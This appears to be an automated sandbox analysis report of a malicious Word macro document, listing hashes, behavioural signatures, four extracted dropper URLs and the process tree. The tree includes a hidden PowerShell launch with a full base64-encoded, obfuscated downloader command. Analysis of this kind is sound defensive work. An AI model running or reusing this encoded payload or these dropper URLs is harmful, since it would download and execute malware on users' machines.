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Analysis

  • max time kernel
    118s
  • max time network
    118s
  • platform
    windows7_x64
  • resource
    win7-20240419-en
  • resource tags

    arch:x64arch:x86image:win7-20240419-enlocale:en-usos:windows7-x64system
  • submitted
    15/05/2024, 18:44

General

  • Target

    47862b4a1ac4c7185661f98596d390c3_JaffaCakes118.doc

  • Size

    92KB

  • MD5

    47862b4a1ac4c7185661f98596d390c3

  • SHA1

    cd0ccaa209f51ee26bf013493483c1e6f4b037f5

  • SHA256

    07a07a322896260a673c60a2e3e2feb7eb67165817f8f5a573badca9d38b262d

  • SHA512

    0ec09dee0e13318ba83451b5a8772a3449bd7c68e1ab85322af578b9bc308e50e1622338db2d80aefb5a430a94e83331f415266df969ea31d4121035012b7121

  • SSDEEP

    1536:M/hBBrgqX0znmj6Ii+ag1oRItrq78L6zHfk:yfBrgqXsnDVae7v

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://prproductions.com/7b9UkJ/

exe.dropper

https://fotofolly.com/bridal/O59Q/

exe.dropper

http://jpol.com/vkwfM/

exe.dropper

http://rodcastro.com/V0iuJG/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 5 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\47862b4a1ac4c7185661f98596d390c3_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2100
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2780
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\PowersHeLL.exe
        PowersHeLL -WinDowsTyle hidden -e KAAoACgAIgB7ADIAMwB9AHsAOAAxAH0AewA1ADcAfQB7ADMANQB9AHsANQA1AH0AewAxADEAfQB7ADEANQB9AHsANQAxAH0AewA4ADAAfQB7ADEANgB9AHsAMgAyAH0AewA2ADkAfQB7ADQAMwB9AHsANgA3AH0AewA1ADYAfQB7ADYANgB9AHsANQA0AH0AewAxADcAfQB7ADQANwB9AHsAMwA4AH0AewA4AH0AewAxADkAfQB7ADIANQB9AHsAMwAzAH0AewAyADgAfQB7ADIANwB9AHsAMQB9AHsANwB9AHsANAAwAH0AewAzAH0AewA2ADIAfQB7ADMAMgB9AHsANgA1AH0AewA0ADIAfQB7ADkAfQB7ADcAMgB9AHsANwA4AH0AewAzADEAfQB7ADEAMAB9AHsAOAA1AH0AewA1ADMAfQB7ADcAMAB9AHsAOAA0AH0AewAyADEAfQB7ADcANQB9AHsANwA5AH0AewA4ADYAfQB7ADQANgB9AHsAMwA2AH0AewA2ADAAfQB7ADgAMgB9AHsAMwA5AH0AewAwAH0AewAxADgAfQB7ADUAMAB9AHsAMgA0AH0AewA4ADMAfQB7ADcAMQB9AHsAMQAzAH0AewA3ADQAfQB7ADYANAB9AHsANAA1AH0AewA0ADEAfQB7ADMANAB9AHsANAA0AH0AewA1ADgAfQB7ADUAfQB7ADIAOQB9AHsANQA5AH0AewA1ADIAfQB7ADEAMgB9AHsANAB9AHsANgAzAH0AewA2ADEAfQB7ADYAOAB9AHsANAA4AH0AewA3ADMAfQB7ADMAMAB9AHsAMgA2AH0AewAyADAAfQB7ADcANgB9AHsAMgB9AHsANwA3AH0AewA0ADkAfQB7ADYAfQB7ADEANAB9AHsAMwA3AH0AIgAtAGYAIAAnAHYAJwAsACcALwBAACcALAAnACsARwA3AEoAZQAtAEkAdABlAG0ARwA3AEoAJwAsACcAdQAnACwAJwBsAHYAegBnAE8AYQAnACwAJwBpAG4AJwAsACcAYQBrADsAfQBjAGEAdABjACcALAAnAGgAdAB0AHAAOgAvAC8AcAByACcALAAnADMAMwApACcALAAnAEoALwBAAGgAdAB0AHAAJwAsACcALwBAAGgAdAAnACwAJwA3AEoAKwBHADcASgB0AEcANwAnACwAJwBRAEQAbwB2AHoAZwBXAG4AJwAsACcASgAuACcALAAnAGgAewB9ACcALAAnAEoAKQAgACcALAAnADcASgAtAG8AYgBqAGUAYwB0AEcANwAnACwAJwB4AHQAKAAxADAAMAAwADAALAAnACwAJwA6AHAAdQBiAGwAaQBjACAAKwAgAEcANwBKADAARABQAEcAJwAsACcAOwBSADIANwBBAEQAQwBYACAAPQAgACcALAAnADcASgArAEcANwBKAGsARwAnACwAJwBoAHQAdABwADoALwAvAHIAJwAsACcASgAnACwAJwBSACcALAAnAEoAIAArACAAUgAyACcALAAnAEcANwBKAA0ACgBoACcALAAnADsAJgAoAEcANwBKAEkAbgB2AG8ARwAnACwAJwBtAC8ANQBEAEYAVwAnACwAJwAvAC8ANAByAGUAbgBlAGUALgBjAG8AJwAsACcAIABSADIANwBBACcALAAnADIANwBTAEQAQwApACcALAAnAHkALgBjAG8AbQAvAGIAcgBpAGQAYQBsAC8ATwA1ADkAUQAnACwAJwBuACcALAAnAHQAdABwADoAJwAsACcAaAAnACwAJwAoAEcANwBKAG4ARwA3ACcALAAnACkAJwAsACcAfQAnACwAJwA4ADIAMQAnACwAJwAyADcAZQBuACcALAAnAHAAcgBvAGQAJwAsACcAZgBvAHIAZQBhAGMAJwAsACcANwBiADkAVQBrACcALAAnAC4AVwBlAGIAQwBsAGkAZQBuAHQAJwAsACcAKABSACcALAAnAGUARwA3AEoAKQA7ACcALAAnADcASgBAAEcANwBKACcALAAnACAAMgAnACwAJwByAHYAegBnAGkAdgB6AGcATgBnACcALAAnACkAOwBiAHIAZQAnACwAJwA3ACcALAAnAHIAYQBuAGQAbwBtADsAJwAsACcAQwBYACkAewB0AHIAeQB7AFIAMgA3AFkAWQBVAC4AUgB0ACcALAAnAC8ALwBqAHAAbwBsAC4AYwBvAG0ALwB2AGsAdwBmAE0AJwAsACcAZAAuAG4AZQAnACwAJwBKACsARwA3AEoAZQBHADcASgArAEcANwBKAHcALQBvAGIAagBlAGMARwAnACwAJwA9ACAAUgAyADcAbgBzAGEAJwAsACcAPQAgACYAJwAsACcAMgA3AGEAcwBmAGMAIAAnACwAJwBEACcALAAnADsAUgAyADcAJwAsACcAegBnAGwAZQBSAHQAUQAoAFIAMgA3AGEAcwBmAGMALgAnACwAJwBjAHQAaQBvACcALAAnAGQARgBJAHYAJwAsACcANwBKACcALAAnAHMALgBjAG8AbQAvACcALAAnAGQAYQBzACcALAAnADsAUgAyADcATgBTAEIAIAAnACwAJwBSAHQAUQBUAG8AUwB0ACcALAAnACkAIABTAHkAcwB0AGUAbQAuAE4AZQB0ACcALAAnAC8AJwAsACcAKABHADcAJwAsACcAcwA6AC8ALwBmAG8AdAAnACwAJwBSAHQAUQAoACkALAAgAFIAJwAsACcAZQB4AEcANwBKACsARwAnACwAJwBvAGQAYwBhAHMAdAByAG8ALgBjAG8AbQAvACcALAAnADcASgAnACwAJwApACgAUgAyADcAUwBEAEMAJwAsACcAbwBmAG8AbABsACcALAAnAFYAMABpAHUASgBHAC8ARwA3AEoALgBTAHAAbAAnACwAJwBSADIANwBZAFkAVQAgAD0AIAAuACgARwA3AEoAbgBlAEcANwBKACsARwA3AEoAdwBHADcASgArAEcAJwAsACcAMgA3AG4AcwBhAGQAYQBzAGQAIAAnACwAJwBTAEQAQwAgAD0AIABSACcALAAnADcATgBTAEIAIAArACAAJwAsACcAQAAnACwAJwB0AHAAOgAnACwAJwBpAHQAKABHACcAKQApACAAIAAtAEMAUgBFAHAATABhAGMAZQAgACAAJwB2AHoAZwAnACwAWwBjAEgAYQByAF0AOQA2ACAAIAAtAEMAUgBFAHAATABhAGMAZQAgACgAWwBjAEgAYQByAF0AOAAyACsAWwBjAEgAYQByAF0ANQAwACsAWwBjAEgAYQByAF0ANQA1ACkALABbAGMASABhAHIAXQAzADYALQBDAFIARQBwAEwAYQBjAGUAKABbAGMASABhAHIAXQA4ADIAKwBbAGMASABhAHIAXQAxADEANgArAFsAYwBIAGEAcgBdADgAMQApACwAWwBjAEgAYQByAF0AMwA0ACAALQByAEUAcABMAGEAYwBFACAAIAAnAEcANwBKACcALABbAGMASABhAHIAXQAzADkAIAAtAEMAUgBFAHAATABhAGMAZQAoAFsAYwBIAGEAcgBdADQAOAArAFsAYwBIAGEAcgBdADYAOAArAFsAYwBIAGEAcgBdADgAMAApACwAWwBjAEgAYQByAF0AOQAyACkAIAB8ACAAJgAgACgAIAAkAHAAcwBoAE8AbQBlAFsAMgAxAF0AKwAkAHAAUwBoAE8ATQBFAFsAMwA0AF0AKwAnAHgAJwApAA==
        2⤵
        • Process spawned unexpected child process
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2532

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

      Filesize

      20KB

      MD5

      43b0217d7cdbd980d32d0097b4cc3a9c

      SHA1

      99c8bc110fbd3634e7a608658ae108fb80d225ad

      SHA256

      b54d651edd3c905d0f4315934b441c219821a0d240193b74635b1e682acfb227

      SHA512

      7f9a3a342b38080a4c81a817303e8be4b3f136a58b060acbcded78b8f3297ac8a7bb329c06c5df00de86d9b64af88b21a76eac9bb04567eae105ddc4196f8ef8

    • memory/2100-30-0x00000000005D0000-0x00000000006D0000-memory.dmp

      Filesize

      1024KB

    • memory/2100-90-0x00000000005D0000-0x00000000006D0000-memory.dmp

      Filesize

      1024KB

    • memory/2100-6-0x00000000005D0000-0x00000000006D0000-memory.dmp

      Filesize

      1024KB

    • memory/2100-7-0x00000000005D0000-0x00000000006D0000-memory.dmp

      Filesize

      1024KB

    • memory/2100-14-0x00000000005D0000-0x00000000006D0000-memory.dmp

      Filesize

      1024KB

    • memory/2100-77-0x00000000063F0000-0x00000000064F0000-memory.dmp

      Filesize

      1024KB

    • memory/2100-81-0x00000000005D0000-0x00000000006D0000-memory.dmp

      Filesize

      1024KB

    • memory/2100-80-0x00000000063F0000-0x00000000064F0000-memory.dmp

      Filesize

      1024KB

    • memory/2100-82-0x00000000063F0000-0x00000000064F0000-memory.dmp

      Filesize

      1024KB

    • memory/2100-76-0x00000000005D0000-0x00000000006D0000-memory.dmp

      Filesize

      1024KB

    • memory/2100-75-0x00000000005D0000-0x00000000006D0000-memory.dmp

      Filesize

      1024KB

    • memory/2100-74-0x00000000005D0000-0x00000000006D0000-memory.dmp

      Filesize

      1024KB

    • memory/2100-2-0x000000007116D000-0x0000000071178000-memory.dmp

      Filesize

      44KB

    • memory/2100-66-0x00000000063F0000-0x00000000064F0000-memory.dmp

      Filesize

      1024KB

    • memory/2100-8-0x00000000005D0000-0x00000000006D0000-memory.dmp

      Filesize

      1024KB

    • memory/2100-15-0x00000000005D0000-0x00000000006D0000-memory.dmp

      Filesize

      1024KB

    • memory/2100-13-0x00000000005D0000-0x00000000006D0000-memory.dmp

      Filesize

      1024KB

    • memory/2100-12-0x00000000005D0000-0x00000000006D0000-memory.dmp

      Filesize

      1024KB

    • memory/2100-11-0x00000000005D0000-0x00000000006D0000-memory.dmp

      Filesize

      1024KB

    • memory/2100-10-0x00000000005D0000-0x00000000006D0000-memory.dmp

      Filesize

      1024KB

    • memory/2100-9-0x00000000005D0000-0x00000000006D0000-memory.dmp

      Filesize

      1024KB

    • memory/2100-79-0x00000000063F0000-0x00000000064F0000-memory.dmp

      Filesize

      1024KB

    • memory/2100-89-0x000000007116D000-0x0000000071178000-memory.dmp

      Filesize

      44KB

    • memory/2100-0-0x000000002F5C1000-0x000000002F5C2000-memory.dmp

      Filesize

      4KB

    • memory/2100-91-0x00000000063F0000-0x00000000064F0000-memory.dmp

      Filesize

      1024KB

    • memory/2100-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2100-106-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2100-107-0x000000007116D000-0x0000000071178000-memory.dmp

      Filesize

      44KB